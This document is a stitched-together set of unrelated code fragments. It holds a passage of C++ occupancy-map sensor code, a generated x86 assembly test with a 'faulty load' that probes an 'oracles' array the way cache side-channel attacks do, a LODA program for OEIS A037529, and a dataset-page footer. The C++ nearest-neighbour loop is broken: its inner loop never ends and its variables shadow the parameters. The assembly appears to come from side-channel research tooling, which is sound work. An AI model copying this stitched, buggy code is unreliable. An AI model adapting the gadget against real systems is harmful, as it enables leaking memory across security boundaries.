else if (r <= z_k)
{
return l_free;
}
else
{
return l_o;
}
}
double Sensor::distance_to_nn(double x, double y, Map *map, double robot_width, double robot_height)
{
// naive implementation
double dist = -1;
double r;
double com_x;
double com_y;
double grid_height = map->get_map_height();
double grid_width = map->get_grid_width();
// loop through all grids on the map
for (int x = 0; x < map->get_map_width() / grid_width; ++x)
{
for (int y = 0; map->get_map_height() / grid_height; ++y)
{
// find centre of mass of the grid cells
com_x = x * grid_height + grid_height / 2 - robot_width;
com_y = -(y * grid_height + grid_height / 2) + robot_height;
//find euclidean distance to measurement x, y
r = sqrt(pow(com_x - x, 2) + pow(com_y - y, 2));
// keep the smallest dist
if (dist == -1 || r < dist)
{
dist = r;
}
}
}
return dist;
}
double Sensor::get_min_range() { return min_z__; }
double Sensor::get_max_range() { return max_z__; }
double Sensor::get_sensor_noise() { return sense_noise__; }
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1dd14, %rcx
nop
nop
nop
nop
add $29032, %r10
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdx
nop
nop
nop
and $29313, %r10
lea addresses_normal_ht+0xb314, %rsi
lea addresses_normal_ht+0x1d314, %rdi
cmp %rbx, %rbx
mov $35, %rcx
rep movsw
nop
nop
xor $19910, %rbx
lea addresses_normal_ht+0x7684, %rcx
nop
xor $31266, %r12
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbx
nop
nop
nop
nop
nop
sub $61439, %rsi
lea addresses_normal_ht+0x39f4, %rdx
nop
nop
cmp %rsi, %rsi
movl $0x61626364, (%rdx)
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0x15e04, %rdi
nop
nop
sub $46783, %rcx
movb (%rdi), %r10b
nop
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_D_ht+0x12d14, %rsi
lea addresses_D_ht+0x3914, %rdi
nop
nop
cmp $16804, %rdx
mov $7, %rcx
rep movsw
nop
nop
sub $60375, %r10
lea addresses_WT_ht+0xac14, %rdx
nop
nop
sub %r12, %r12
movw $0x6162, (%rdx)
add %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0x15746, %rsi
lea addresses_WC+0x1cf14, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $76, %rcx
rep movsw
nop
nop
nop
xor $10680, %r11
// REPMOV
lea addresses_RW+0x19914, %rsi
mov $0xde, %rdi
nop
nop
nop
nop
nop
sub $2275, %r11
mov $2, %rcx
rep movsw
nop
nop
dec %rcx
// Store
lea addresses_A+0x17f14, %r11
nop
nop
nop
sub %r15, %r15
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%r11)
xor $45497, %rdi
// Faulty Load
lea addresses_normal+0x2914, %rsi
nop
and $24444, %r14
mov (%rsi), %ecx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_PSE'}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_P'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_RW'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 9}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 8}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 2}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 5}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 3}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 7}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; A037529: Base-4 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,2.
; 1,5,22,89,357,1430,5721,22885,91542,366169,1464677,5858710,23434841,93739365,374957462,1499829849,5999319397,23997277590,95989110361,383956441445,1535825765782,6143303063129,24573212252517,98292849010070
mov $1,4
pow $1,$0
mul $1,88
div $1,63
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.